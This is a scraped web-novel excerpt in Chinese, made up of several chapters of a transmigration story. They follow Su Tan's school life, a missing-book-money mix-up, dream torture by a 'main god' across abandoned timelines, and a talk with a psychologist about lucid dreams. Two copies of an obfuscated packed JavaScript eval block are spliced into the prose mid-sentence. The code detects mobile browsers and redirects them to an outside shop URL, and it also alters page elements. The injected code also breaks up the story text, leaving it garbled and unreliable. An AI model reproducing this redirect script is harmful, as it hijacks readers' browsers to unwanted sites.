苏昙说完,看到苏雨虹投来的无比自然的好奇目光,干笑道:“但我的情况有点特殊,至于我是哪一种,你以后就知道了,哈,哈。” “但像你这样的,”苏昙话头一转,赞赏道,“中途还能转学成功,证明你的成绩肯定说过得去。在这里,有钱有势的人大多不会在乎成绩,学习好的人又不需要金钱来维持什么,有钱又学习好的,那旁人就只能笑笑了。所以,你不用觉得不自在,该怎么做就怎么做。” 苏雨虹微微点头,脸色看起来没有来的时候凝重了。 “还有,昨天晚上你去接水之后,程微雪找我说了洗漱室的事,她说周茉的性格就是想什么说什么,不是有意的,你别往心里去。” “我真的没生气,她们挺好的,是我自己没调节好状态。听你讲完,我感觉好多了,”苏雨虹笑道,“我会比之前学习更加努力的。” “加油!” 苏昙真挚地鼓励道。 不知为何,她每次注视苏雨虹的眼睛,总觉得那里面充满了力量和希望,透出一种坚韧和顽强。 苏雨虹走后,苏昙身体犯懒,干脆躺在长长的石凳上闭目养神。 “——夏汀舟!” 苏昙刚闭上眼没几分钟,又一道熟悉的声音传来,她睁开眼坐好,看到张思蓉远远地跑过来。 “要不是刚才我多瞅了一眼,到现在我都不知道咱们两个班是同一节体育课!”张思蓉的声音由远及近,几秒后,将苏昙扑了个满怀,“想死你了!暑假喊你也不出来玩,有一次逛街看中了一个娃娃,和你长得特别像,就买下来了,等明天下课给你带过来。” 苏昙十分惊喜:“好啊,期待!” 张思蓉似乎憋了很多话,她松开苏昙,坐到旁边的凳子上,说道:“这学期还是杨辞带我,不知道你见他了没,他应该是趁暑假剃了个头,一下子变得超级陌生,猛地一瞧还有点憨豆的味道,超级有喜感!” “没有,他这学期没带我们班的历史。”苏昙有些遗憾,脑袋里已经自动浮现出剃头之后的杨辞的模样,忍俊不禁道。 “还有还有,这次分完班不是还有一次排名,你猜一班这次年级第几?” “……第一?” “还是第二!”张思蓉给自己讲笑了,“杨辞在班里说的时候都绷不住了,还自嘲说,他现在在办公室有个新外号,叫‘万年老二’,全班要笑死了!我一听,这不是和我高一的时候一摸一样么!” “这什么奇妙的缘分?”苏昙也被逗笑。 “他自己不信邪,刚开学就给我们下了军令状,说期中之前,一定要争回第一,不蒸馒头争口气。徐豪嘴快,在下面接了一句‘我们是学生不是厨子’,全班笑了半分钟才安静下来,最后杨辞怒了,当场罚徐豪晚自习找他过历史知识点,你说徐豪是不是欠的?” 张思蓉虽嘴上骂着徐豪,语气却丝毫没有偏颇,就像是忍不住给朋友讲自己感兴趣的人那样自然。 苏昙意味深长地看了她一眼,问道:“你暑假出去玩,不止有程微雪吧,是不是还有徐豪?” 张思蓉不明所以地点头:“对啊,他问我什么安排,我想着反正多一个人不多,就喊上他了,还有咱们班其他几个人,我都一起叫出来了。” “……那他玩得高兴吗?” “挺高兴的啊,我们玩的剧本杀,玩了整整一个下午呢。”张思蓉认真回忆了几秒,“走的时候,他还说市里有一家密室逃脱特别有意思,下次再一起去。我一听,直接就和其他朋友约好了,下次我们还一起去。你要来吗?可好玩了!” 苏昙调侃道:“我就算了吧,我怕鬼,万一让人再盯上就不好了。” “鬼都是假的,怕什么?”张思蓉不解,“那行吧,如果你想尝试的话,别忘了喊我。” “一定。”张思蓉想到什么,又问道,“忘了问你,刚才和你说话的是不是你们班新来的转校生啊?” “对。”苏昙感概,“怎么消息传得这么快,感觉全年级都要知道了。” “学校嘛,八卦传得最快了。刚看你们在说话,就没过来。你和她认识?” “嗯,暑假见过两面,一来二去就熟了。你也认识她吗?” “其实也没什么事,就是看她有点面熟。刚才想了好一会才认出来,我好像在学校的艺术团教室见过她。” 苏昙觉得奇怪:“苏雨虹怎么会在艺术团?” “原来她叫苏雨虹啊。是这样,程微雪不是在上学期合唱比赛之后加入咱学校的艺术团了么,每周三晚自习需要去排练室排练,昨天我下课之后去给她送晚饭,没找到她,却看到一个面生的女孩在那打扫卫生,手里还拿着晚自习的背诵资料。当时找人,我就多看了一会,对她有些印象。” “在排练室打扫卫生?” “对啊。不过你不知道也正常,”张思蓉解释道,“一般在艺术团负责打扫卫生的都是咱们学校勤工俭学的学生,因为人数有限,所以都是内部选人了。像她们这种的,学校每个月都会发工资,但不多,可能就四五百吧。” 听到工资,苏昙心里瞬间不疑惑了,反而觉得苏雨虹明明适应得很快,甚至比她们任何一个人生活得都要认真,也大概猜到了她这份工作是哪来的。 苏昙对张思蓉说道:“忘了告诉你,程微雪、苏雨虹和我在一个宿舍。” “原来她们也认识?” 张思蓉没头没脑地问了一句,显然不是要一个回答。苏昙见她了然,便不再说什么。 没一会,篮球场响起了此起彼伏的吹哨声,是体育老师在喊集合。 “咱们下节课见,”张思蓉依依不舍道,“我还没和你聊尽兴呢。” “没问题,下周我还在这等你。” 苏昙告别了张思蓉。 下了课,一个女孩到苏昙课桌边上,说徐老师让她去办公室一趟。 好在这次苏昙在徐丽挑班委的时候用心记了一下人,认出给她传话的是五班的新班长,许霜。 应该不是诈骗。 苏昙一进到办公室,就觉得哪里好像不一样了,具体是哪,又说不上来。这种奇怪的感觉堵在胸口,把她吊到了徐丽面前。 “老师,您找我?” 徐丽正在十分松弛地剪指甲,见夏汀舟过来,放下指甲剪,慈祥道:“来了,汀舟。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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苏昙问得很自然,徐丽没有听出她话里的质问意味,恰恰相反,她以为夏汀舟就是个有钱人家的千金大小姐,不了解这种事,因为好奇才想问一问。 徐丽来了兴致,斗胆说了两句:“咱们学校大多数人的情况都……差不多,你应该能感觉得到,真要有需要的,就私下来问我了。” “那现在有人来找您吗?” “还没。” 徐丽微微皱眉,她总算听出眼前这位大小姐话里的咄咄逼人的气势。 苏昙淡笑:“其实我觉得,老师您还是多找咱们班学生问问吧,万一有人不知道又有需要呢。” 徐丽的眉头皱得更紧了。 这哪是咄咄逼人,简直就是没礼貌,还教她怎么做,她一个教了几十年书的老师会不知道? 徐丽没了和夏汀舟谈心的兴致,草草说道:“行了,这件事我心里有数,你先回班上课吧。” “嗯,老师再见。” 苏昙想说的已经说完,保持着微笑退出了办公室,回到班里。此时离上课还有十分钟,教室依旧嘈杂闹腾。 她从第一排路过,无意间看到苏雨虹低着头旁若无人地背书,丝毫不为周围环境所扰。 开学已经有几天,苏昙渐渐发现,苏雨虹不怎么爱和别人说话闲聊,会利用一切能学习的时间学习刷题。 看起来一点也不合群。却格外吸引人的目光。 晚自习下课,班长许霜走上讲台,说道:“咱们年级马上要发一批新书,现在需要交书费,一个人七十块钱,要在这周放假之前收齐。如果谁手头有钱,可以直接过来拿给我了。” 许霜说完下了讲台,身边呼啦涌上一群人。 “能找钱吗?我没零的了,只有张一百的。” “这是我的!” “还有我,记一下我的名字!” “……” 许霜被挤得连连后退,赶紧坐到位置上拿出纸笔,高声说道:“都别急,都别急!排好队一个一个来,不然容易记混……” 93. 世界四(26) 苏昙再次睁开眼时,所见之物都是幽鸣别院里的陈设。 她竟然回到了第二个里世界,出现在原主苏檀的家里。 眼前的一草一木都万分熟悉,她还记得,自己曾经迎着许多个白天黑夜在院里打坐修炼。 苏昙推开书房的门,一股陈旧的味道扑面而来,扬起满屋的细小尘埃。这房间看起来有阵子没人来过,许多地方都落了一层厚厚的灰。 令她不解的是,前一秒她还在陈玫家里睡觉,下一秒就到了这,没有一点过渡,毫无征兆地就发生了。 难道又是主神把她送走的? 苏昙刚这样想,一个颇为愉悦的声音在她身后响起。 “真巧,我们又见面了。” “是你。”苏昙循声转过身,看清那人的模样,“莲。你没死?” 莲依旧通体散发着黑气,身披一件黛紫色斗篷,一直垂到脚底——他是半飘在空中的。 苏昙想了想,道:“或者说,我该叫你一声,主神?” 莲的脸上看不出表情,只能从声音听出他上扬的语调:“你猜得对,莲的确是我的分身之一。” 苏昙盯着主神,警惕地退后了两步。她现在不在虚空之境,也没有灵力和法术,不是祂的对手,不能贸然动作。 “你把我带到了哪?” “明知故问。” “我不是已经完成第二个里世界的任务,为什么房子里连一个人影都没?原主呢?” “你完成的又不是这条时间线的。”主神理所当然地接道,“你现在所在,不过是我创造的无数相同时间线里的其中废弃的一条。至于其他人在哪,你等会就知道了。” 苏昙没有回答,同时大脑飞速运转,思考祂说的到底什么意思。 主神乐见她困惑的模样,破例耐心道:“很难理解吗?那我换个说法,你现在经历的苏檀的这条时间线,还有无数个一模一样的。如果你失败了,就会有其他宿主进到这个世界,经历另一条新的一模一样的时间线。而任何人来到这个世界,都只会经历这一段时间。明白了吗?” 苏昙试着总结:“因为我完成了第二个里世界的任务,所以这些一模一样的时间线就都没用了,也就是你说的‘废弃’。” “没错。” “那真正的原主苏檀呢?” “回去了。” 听祂答得这么果断,苏昙反而冷声质疑:“恐怕没这么顺利吧。” “你不信?” “如果真的顺利,那你把我带到这又是为什么?纯叙旧吗?” 主神停了一秒,才道:“原本觉得你没什么用,想着潜移默化地解决你就行了。但现在……不一样了,你身上还有我能利用的价值,我得物尽其用。” 苏昙面上带浅笑,眼里毫无温度:“果然,不是谁都能当主神,连阴谋也能说得这么义正言辞。” “这是我的地盘,你走不出去的。” “我没想走出去。”苏昙说,“你想要我怎么做?” 主神有些意外:“你不反抗一下吗?” 苏昙不动声色地在心里骂了一声变态,平静道:“反抗有用?除了能让你兴奋,毫无意义。” “你不好奇我想让你做什么吗?” “不好奇——但我还有最后一个问题。”苏昙不等主神同意,直接问道,“我什么时候可以离开这?” “这个……”主神斟酌了一会,“只要我觉得满意,你就能走了。” “那开始吧。” 苏昙注视着祂。 主神伸出手,掌心浮现出一颗珠子,散发着淡淡的五色光芒。 下一秒,苏昙注意到主神飞速离她而去,周围的景象不断变换,脑海开始强烈眩晕,她不得不闭上眼,努力稳住身体。 “遣凌派内收到弟子的求救,便让我赶过来查看,这位弟子,你还好吗?” 苏昙听到有人喊她,睁开眼睛,还未看清来人,突然一阵钻心的疼痛,她忍不住闷哼一声,下意识憋住气,弯下了腰。 时间一分一秒过去,钻心的疼痛非但没有缓解,甚至更加剧烈,逐渐蔓延到全身各处。苏昙蹲到地上,额头冒出层层冷汗,沿着太阳穴划过脸颊,一颗接一颗掉落到地上。 “……这位弟子,你怎么了?” 问询声再次响起。 苏昙睁开眼,勉强认出了现在身处何处。 这是她当时和何瑚等人在虚境的仙门试炼中,一起对战夭勒妖的地方。那时,她因为黑气入体,身体产生排异,寡不敌众,正孤立无援,一个人等待长老来帮她。 而那个长老,就是陈万肃! 苏昙心脏狠狠地抽痛,她紧紧地抓着脚边的衣摆,抬头看了一眼刚才说话的人,不是陈万肃又是谁? “……别在这假惺惺的……我知道你在这些鸟妖身上动了手脚。”她忍痛一字一句道。 陈万肃一怔,随即收起了虚伪的关怀,嗤笑道:“是我又如何?我就是看你受尽折磨而死。” 苏昙感觉四肢在被疯狂撕扯,骨骼连接处像被插进一根根细针,每动一下,就有深入骨髓的彻心之痛。 她虚弱地扯起嘴角,嘲讽道:“你就没想过……那黑气的真面目……究竟是什么?” 陈万肃瞪大双眼,箭步冲上前,掐住苏昙的脖子,声音如利刃,一刀刀割在她脸上:“你为什么会知道?” “因为我根本就不属于这里!” 苏昙尽全力吼出来,却因为喉部失声,嘶哑无比。 几乎同一时间,她呕出一大口鲜血,整个人在陈万肃手里瘫软下来,昏死过去。 “……晦气。” 陈万肃剧烈起伏的胸膛逐渐平缓,他万般嫌弃地松开手,转身离开。 不知过了多久,苏昙醒了。她身上的疼痛已经消失,仿佛刚才的感受都是一场泡沫。唯一留下痕迹的,是她嘴角干涸的血迹和虚浮的脚步。 苏昙吐净嘴里的血水,撑着膝盖站了起来。 刚直起身,又是一阵钻心的刺痛。直起的腰再次弯下去。遍布全身的寸痛一点点啃噬着她,快要把她折磨得不成人样。 时间一分一秒过去,疼痛非但没有缓解,反而更加剧烈。 “遣凌派内收到弟子的求救,便让我赶过来查看,这位弟子,你还好吗?” 一模一样的询问在苏昙耳边响起。 苏昙猛地抬头,错愕地看向陈万肃。 “你为什么没走?!” 陈万肃挑眉:“这位弟子,我刚来,你是不是记错了?” 苏昙的心顿时沉到谷底:“不……你是来看我死的。” 陈万肃表情变淡,没有说话。 好一会,他抬起手中扇柄,抵在苏昙脖颈处的伤口上,用力碾轧。 “被黑气入体的感觉怎么样,是不是如万蚁噬心,难受得要命?” 苏昙痛出眼泪,妥协地笑道:“放心,我死不了。” “那就让你生不如死!” 陈万肃甩开扇子,一遍遍划在苏昙身上,扇骨尖锐,轻而易举地刺破衣服,划伤皮肉。 苏昙根本没有力气反抗,很快昏死过去。 这次她昏睡的时间更长了,等她醒来后,皮肉的伤口已经结出一层淡淡的痂。她试着捏法诀,发现这具身体竟然还有灵力。 苏昙面无表情地修复好破损的衣服,静静等着下一轮痛潮。她的双眼聚不起焦,整个人无力地瘫坐在地上,任思绪漫无目的地游走。 当时001在忏心间,也是这么难受么。两个星期那么长,他是怎么撑过去的呢。 她好像才开始理解他受到的痛苦。 * 虚空之境。 001正在桌前写档案,隐隐约约听到了苏昙的声音。 她好像……正在心里想他。 难道还没睡觉吗?又失眠了吗?也不知道有没有找魏泽涛去看一看。 001想得出了神,笔尖停在纸面,洇出豆大的墨点。 那日苏昙在公交车上和他吵架,两人不欢而散。他失望生气是真,说好不再纠缠她也是真。 既然她能够那么洒脱的说离开就离开,说放下就放下,那他也可以做到。 001把笔合上,将写废的纸揉成团,扔进了垃圾桶。 131打着哈欠走近工作间,看到001还没睡,随口问道:“今天去看苏昙了吗?” 001潇洒起身的动作做了一半,僵在原地。 “在好兄弟面前就没必要遮掩了吧,”131若无其事地说,“哪天晚上你不是趁她半夜睡熟了去看她?你骗得了苏昙,骗不了我。 “当然,更骗不过你自己的心。”131无声叹了口气,“你还是在意她的,对吧?” 001神情早已恢复自然,绕过131走出工作间:“你想错了,我不在意。” 131:“……” 没救了,彻底没救了。 001回到寝屋,坐在床边,盯着对面的白墙,许久都没挪开眼睛,恨不得把那里看出个人来。 如果她再次喊他的名字,他就勉为其难地去看看。001对自己说道。 只要她再喊一遍他的名字。 * 苏昙静静地坐在原地等陈万肃来。 果然,没过几分钟,熟悉的钻心之痛又一次袭来。苏昙已经没有力气流汗了,但她仍然 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苏昙突然想明白了,脸上露出一丝释然的笑。 她改变苏檀命运的节点就是在黑气入体后,主神这是要让她再一次次去到剩余废弃时间线的相同节点,重复经历一样的事情。 可是为什么祂要这么做? 只能有一个答案—— 这些无用的时间线出问题了。而祂处理不了这些废弃的时间线。 但时间线会有什么问题? “嘶……” 头好疼,感觉快裂开了。 苏昙的思考被打断,新一轮的疼痛来了。她把拇指抵到太阳穴,用力地揉捏,效果却甚微。 苏昙伸手摸了一把脸,湿漉漉的,不知道是疼的还是难受哭的。 不过她疼得想死是真的。 她脑海里开始浮现出苏英华的脸、林远的脸,开始思念现实世界的那个家、思念……001。 她竟然想他了。 她怎么会想他。 反正她快死了,想一下应该也没什么吧,他不会知道的。 一旦开始思念,委屈就像一个调皮的小孩,越是不想要,存在感就越强。 苏昙蜷缩着身体嚎啕大哭。 她没有人陪了,这些都是她自己要的结果。 精神恍惚间,一阵温暖的浪潮好像包裹住了她,与外界隔绝开来。 这股浪潮冲散身体的疼痛,苏昙感觉她在极致的痛苦与放松之间来回游荡,一会在地狱,一会在天堂。 昏迷前,主神出现在她面前。苏昙发现她又回到了幽鸣别院。 主神把手里的珠子收起来:“人类还真是脆弱,才几次就不行了。算了,谁让我答应过你,不会杀你,只好下次再继续了。” 苏昙瘫在地上,没有理会祂。 她还在拼命留住脑海里熟悉的感觉。 “究竟是不是你……” 她低声喃喃着,彻底昏了过去。 …… “我好难受。” “别走。” “……对不起。” 陈玫身上只披了一件睡衣,正发愁地坐在床边看着床上梦魇的人。 两个小时前,夏汀舟嘴里就开始念念有词,但含混不清,她听了好一会才辨别出,念叨的竟是“疼”“死”之类的字眼,立刻把她吓了个清醒。 这孩子怎么会做这种噩梦?陈玫想把夏汀舟叫醒,又怕弄巧成拙让她失了魂,只好密切关注着她的情况。 没想到过了一会,夏汀舟竟发起高烧。 陈玫急了,拍了拍她,却毫无醒来的痕迹。 一筹莫展之时,苏昙突然惊叫出声,睁开眼从床上弹坐起来,大口喘气,千刀万剐的疼痛似乎是真实存在的,身上还在隐隐作痛。 她飞快掀开被子仔仔细细地检查了一遍全身,毫发无损。她盖上被子,抱住双臂,呆坐在床上。 陈玫握住苏昙的手,心里一惊:“好家伙,你的手怎么这么凉!” 说着,要把手探到苏昙头上,再感受她额头的温度。 苏昙眼尾还挂着泪,一动不动,毫无反应。 陈玫心疼得眼圈都红了:“自己发烧了都不知道,我去给你倒杯水吃药……” “先别走。” 苏昙蓦地出声,拉住陈玫的袖子。 她需要一个人陪在身边,就现在,哪怕一分钟也行。 只有这样,才能证明她还活着。 94. 世界四(27) 周五下午数学课前,徐丽一脸冰霜地走进五班教室,后面还跟着许霜。 徐丽站在讲台上,从左到右扫视过每一个学生:“大家先停一停手头的事情,听我说。” “咱们班的书费钱少了七十。你们都再检查检查,看位置上有没有陌生的钱。” 短暂哗然过后,所有人开始配合地翻找自己的书包和抽屉。两分钟后,教室里动静变小,并无人站出来。 徐丽皱眉,挥手示意许霜,让她再讲一遍怎么发现钱没的。 “交钱的名单是我一个一个记的,但最后核算了好几遍,都是少了七十。咱们班就这些人,总不至于算错。” 许霜说完,看向徐丽,得到允许,回了座位。 “学校催书费催得紧,避免钱财继续损失,我自掏腰包,把缺的七十块钱补上了。”徐丽扭头瞧了一眼挂在黑板上的时钟,翻开教案,说道,“但这件事不会就此揭过,我已经向学校申请查看监控。如果谁拿到了丢失的七十块,可以私下交给我。毕竟,谁也不希望事情闹到最后,谁都不好收场。” 她说得很委婉,但言外之意懂的都懂。 讲台下的同学,你看我,我看你,面面相觑。 徐丽:“行了,不耽误时间了,现在开始上课。把上次没讲完的数学卷子拿出来,我们继续评讲。” …… 下课后,徐丽问许霜要了登记交钱同学的名单,把名单夹在书里,离开了教室。 一个大课间的功夫,五班丢钱的事就在一楼二楼的文科班传遍了。 晚上,苏雨虹拎着接满水的暖瓶回寝,却在楼梯的拐角处意外听到了自己的名字。 “你听说了吗,咱们年级有小偷。” 是周茉的声音。 苏雨虹眼神暗淡下来。 另一个陌生的女声响起,听起来十分好奇:“晚自习的时候听咱们班同学在议论,到底咋回事啊,我还不清楚呢!” “听隔壁班的同学说,是他们班的苏雨虹。”周茉压低了声音,“她,和我一个寝室。” “什么?”那女生也降低了音量,“就是那个新来的转校生?我只知道她长得特别漂亮,没想到她还会偷钱?” “我感觉大概率就是她了。”周茉有意无意道,“她们家……有点穷。” “那也不至于连七十块的书钱都交不起吧!”女生震惊道。 周茉撇嘴:“谁知道呢,知人知面不知心。不过和咱们也没关系,走吧走吧,接水去。” 女生点头,转而聊起了昨晚在某购物软件看中的限量版联名娃娃。 苏雨虹深深吸了一口气,走过楼梯拐角,和周茉等人迎面而上。 周茉猝不及防看到刚才被她议论的人,明显有些慌乱,拉着身旁的女生加快速度下楼。 “周茉。” 苏雨虹出声喊住她。 “……干什么?” 此刻楼梯间就她们三个人,周茉没办法装作没听到,只好转过身,镇定问道。 “钱不是我偷的。”苏雨虹无意识握紧水壶的壶把,说道,“我们家是没什么钱,但不至于连书费学费都交不起。我不在意你们怎么议论我的家庭情况,因为事实就是这样,我没什么好遮掩的。” “我们都是九年义务教育的学生,可我的老师没有教我在背后随便揣测别人,中伤别人。” 苏雨虹心跳得很快,不知道周茉会怎么反击她的话。 周茉强硬道:“我就是这种性格,谁都会说两句,你不喜欢就别偷听啊!” “明明是你在恶意议论我,”苏雨虹坦荡地昂起头,“有本事你下次当着我的面说,我问心无愧!而且,我们班的钱丢了,你不应该先怀疑管钱的人,怀疑我一个什么都不是的学生干什么?” 周茉不占理,身旁的女生一个劲地拉她,想赶紧离开。 “我就是讨厌你怎么了!”周茉挣开女生的手,看着苏雨虹高声说道,“你穿衣服的品味又土又low我不喜欢,整天还冷着一张脸不爱说话,不知道的以为谁都欠你两百万一样!还有,小县城来的就是农村人,天天晚上再努力学到十二点有什么用,天赋不行干嘛要来这自取其辱?” “……周茉,你说得太过了。” 一旁的女生吓得赶紧把她拉离苏雨虹。 苏雨虹看着周茉,沉默好一会,淡淡地笑了:“我们打个赌。期中考试之后,我的排名绝对会在年级前二十。到时候,我要你向我道歉。” “我不和你赌……谁知道你现在成绩怎么样,万一已经在班里前几了,我才不上当!” “我现在是年级一百八十名。不信你可以去打探,这不是你擅长的吗。”苏雨虹眼里丝毫未露怯。 周茉被激起来,头脑一热,扬声答应道:“好啊,赌就赌!” 说完,她头也不回地跑走了。 “诶,等等我!”被落下的女生追上去喊道。 苏雨虹收敛神色,快步回到了寝室。 寝室里,只有程微雪一个人在进食从食堂买回来的宵夜。 “要不要吃一个?”程微雪顺手给苏雨虹递过来一个小笼包。 “谢谢,我准备刷牙了。”苏雨虹回绝了夜宵,往牙缸里倒了半杯热水,又抬头往夏汀舟的床位看了一眼,问道,“你知道夏汀舟怎么了吗?今天一天都没在班里看到她。” 程微雪咽下嘴里的东西:“刚才寝管来查寝,我问了一下。说是她生病请假了,好像是因为发烧,估计明天就来了。” 苏雨虹点点头,没再说什么,进了洗漱室。 * 凌晨苏昙被主神从梦魇中放出来,便起了高烧,一直到早晨才退。 陈玫忙了一夜,当即便给老师打电话请了假。看苏昙的体温可算降下来,她才稍稍放心地出门去上班,留下陈爸陈妈在家照顾孙女。 高烧了几个小时,苏昙早晨没什么胃口,陈玫走后,她就重新上了床。在梦里被主神反复折磨,她不敢再睡着,只是躺着休息。 苏昙怔怔地盯着天花板,还在劫后余生的状态里。 为什么主神能进到她梦里?为什么她还能在梦里经历里世界?或者说……原主苏檀并没有顺利回到里世界,出现了意外?那又和主神有什么关系?祂一向自私利己,管这种事做什么? 苏昙思考了一会,发现处处是谜团,根本想不明白。 她需要和人一起讨论,或许能找出一些眉目。但她和原本的合作伙伴已经散了,还能去找谁? ——还真有一个人可以问。 下午,苏昙身上有了力气,她吃过饭,洗过澡,去了市中心医院的心理科的诊室。 魏泽涛刚给其他病人做完心理治疗,下午的工作已经结束。他给水杯添上热水,坐在沙发上静静等待。 今天早上,他一年前的患者突然联系他,说有些问题想了解一下,不会耽误太长时间。看起来夏汀舟的确有紧急的事,魏泽涛仔细想了想,便和她约好了时间。 “魏医生,在吗?” 苏昙敲门问道。 “进来吧。” 苏昙推开门,向魏泽涛打了招呼,坐到了熟悉的位置上,和他面对面。 “好久不见,最近还好吗?”魏泽涛语气和缓,娓娓道来。 “我昨天晚上,做噩梦了。”苏昙开门见山,“梦里的经历……特别真实,就像到了另外一个世界,身临其境。” 魏泽涛:“做噩梦是一种很常见的生理现象,你现在是安全的,不用担心。不过,我看你的状态不是很好,难道做噩梦的频率很高吗?” 苏昙顺着他的话思考:“……不算频繁,但每次醒过来,都会精神恍惚好一阵。” “看来的确很困扰你。”魏泽涛拿出笔和纸,“可以向我描述一下梦里具体的情景吗?当然,如果这让你感到不安,你可以直接拒绝,没关系。” “没什么不方便的。”苏昙沉默 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16811974|182094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下来,静静地斟酌该怎么说。魏泽涛便耐心地等待。 两分钟后,她缓缓开口:“我先是做梦,梦到自己来到了一个新的世界,然后又先后经历了不同的世界,最后在梦里又做了一个梦,发现我还能去到不同的世界,就像套娃那样,可以来回穿梭离开。但时间久了,就感觉有些分不清梦境和现实,这该怎么解释?” 魏泽涛听得很认真,他思考了一会,站起来从沙发后面的书架上拿了几本书,边走边说道:“这种问题牵扯广泛,很抱歉,单凭我的见解恐怕不能给你完美的解答。不过,我曾经读过几本关于时间和哲学的书,多少有些感悟,可以和你分享一下。” “没问题。”苏昙洗耳恭听。 “针对你的描述,我暂且可以认为它符合‘梦是无意识的思维活动,且梦具有高度的随机性。’这一观点。但很明显,你又能意识到自己在做梦,并且能穿梭到不同的世界,这符合‘清醒梦’的特征。” “清醒梦?什么意思?” “字面意思,你在梦里是清醒的,有自我意识的。通常具有这种能力的人群,会感觉到自己拥有一种的控制感,也就是说,你的行为往往可以改变梦里故事发展的走向。但恰恰因为这种控制感,会模糊梦境与现实的边界,也就是你所说的‘分不清现实和梦境’。” 苏昙一字一句地消化:“你的意思是,我还能改变梦的走向?” 听起来的确符合她目前经历过的三个里世界的结局。 “当然。说得再极端一点,在清醒梦里,你才是真正的控梦人。”魏泽涛笑着打了不太恰当的比方,随即严肃补充道,“但根据你的描述,因为高频率地做清醒梦,对你的认知系统来说是巨大的负荷,这些记忆与你真实的回忆混合在一起,大脑便会难以迅速区分梦境与现实。” “所以,我不建议你再陷入清醒梦,那样会让你更加疲惫。条件允许,可以在睡前泡泡脚,听听舒缓的音乐,放空大脑,可以降低做清醒梦的次数。” 苏昙点头,又问:“那有没有一种可能,我在睡着后,通过梦境,真的来到了另一个世界,就像平行世界?” 魏泽涛摇头:“理论上存在无限平行宇宙,但在意识上,始终是无法跨越的。如果一定要让你说的情况成立,那就必须往假说上靠近。” 苏昙想到什么,开玩笑道:“遇事不决,量子力学吗?” “你也可以这么想。”魏泽涛和她一起乐道。 “不过话说回来,”魏泽涛接着说,“我个人对解梦更倾向的说法是,梦是人类潜意识的折射。而梦的本质,就是一种正常的生理现象,即人处于睡眠状态时,大脑并未完全休息,还有少部分细胞处于兴奋状态,这些兴奋的细胞通过生理反应产生了无意识的思维活动,这就是梦形成的大概过程。” 苏昙发现魏泽涛最后还是从科学的角度解释了梦境,而发生在她身上的,已经脱离了现实,再追问应该也了解不到什么了。 “那我该怎么处理从噩梦里惊醒的情绪?”她换了个问题。 这次,魏泽涛很快道:“放松。像我之前教你的那样,深呼吸也好,感受周围的环境也好,还是想一想能够让你感受到现实的人或物,能很快帮助你冷静下来。平时也要学者释放压力和情绪,不要全部憋在心里,时间一久,多多少少都会对你的睡眠质量产生影响。” “好,谢谢魏医生。” 苏昙站起来道谢。 虽然没有预想中的醍醐灌顶,但至少了解了一部分原理,她就没有那么恐惧了。 “我应该做的。如果我说的这些办法你都试过还是没用,随时来找我,我给你开点调节的药。” 魏泽涛叮嘱道。 苏昙再次道谢,离开了心理科的诊室。 许是找人聊过的缘故,当天晚上,苏昙按照他说的方法,泡脚、听音乐、放空大脑,挨个做了一遍,竟然真的没再梦见主神,破天荒地一觉睡到天亮,休息得格外好。 95. 世界四(28) “苏雨虹,你过来一下。” 周六下午周测完,徐丽来到五班门口,对第一排的苏雨虹招手说道。 苏雨虹放下笔,走到教室外面:“徐老师。” “雨虹,”徐丽手里还拿着登记交钱的名单,“昨天我看了一下,没在这里面找到你的名字。” 苏雨虹坦然道:“但我交过了,老师。” “我知道,我知道你交钱了。可能是班长没记住你的名字,所以记漏了。”徐丽说,“我找你不是因为书费,而是想找你了解一下你家里的情况。” “我家……怎么了吗?” “是这样,咱们学校每年都会有国家助学金的申请,如果你有需要,可以找我要申请单。距离申请截至日期还有两周,你可以回家和父母商量商量。这是申请单,你先拿着。” “真的吗?”苏雨虹接过单子,心里既惊喜又意外,轻松了许多,笑道,“谢谢老师。” 徐丽和蔼一笑:“应该的。你刚来这,生活上有什么困难就和老师说,一定会尽力帮你的。包括每一个有需要的同学,学校都会用心对待。毕竟咱们学校最看重的就是学风和面貌,我们做老师的不仅要关注学生的学习,更是要把学生看作自己的孩子,给予无微不至的照顾,这点你不用有压力。” 苏雨虹微微颔首,转而问道:“那这次的书费……真的有问题吗?” “没有问题!”徐丽把名单折起来放进兜里,领着苏雨虹回到教室,“我主要就是来说这件事的。” 她走上讲台,示意学生安静下来。 “关于我昨天在班里说的少钱的问题,已经调查清楚了。”徐丽和许霜对视一眼,“我和班长又检查核算了几遍,发现是名单上出现了两个一模一样的名字,原来只是一个乌龙。” 许霜站起来,接着说:“咱们班有个叫张家豪的,还有个叫赵家豪的,当时刚开学,我还没有把人名和人脸记熟,再加上人一多一着急,我就笔误记重了。抱歉啊这两位同学,我现在已经记熟了,下次不会再犯这样的错误了。” 许霜面露歉意,她也没想到疏漏会出现在自己身上。 徐丽在一旁缓和气氛道:“来来来,咱们请张家豪和赵家豪同学站起来给大家伙打个招呼吧,让我们都认识一下!” 话落,坐在中间的胖胖的男生挠着头站起来,腼腆道:“大家好,我叫赵家豪。” 紧接着,他旁边的戴着眼镜的男生也站了起来,不好意思地环视一圈班级,快速自己我介绍道:“大家好,我叫张家豪。” 班里先是沉默一秒,爆发出欢乐的笑声——许多人都没想到,两个家豪同学竟然还是同桌! 徐丽挥挥手,让站着的人都坐下,等学生安静下来后,继续说道:“所以,这次的书费钱一分都没少,学校也把额外交上去的钱退还给我了。这件事到此结束,大家私下也不用再议论,以后该干什么干什么。高三已经开学一阵子了,心里都有点数,给我把重心放到学习上去!” “知——道——了。” 讲台下响起稀稀拉拉的拖长音。 “行了行了,都赶紧回家吃饭吧!负责打扫卫生的同学留下来,把教室扫干净再走。” 徐丽看了眼钟表,放学生离校了。 * 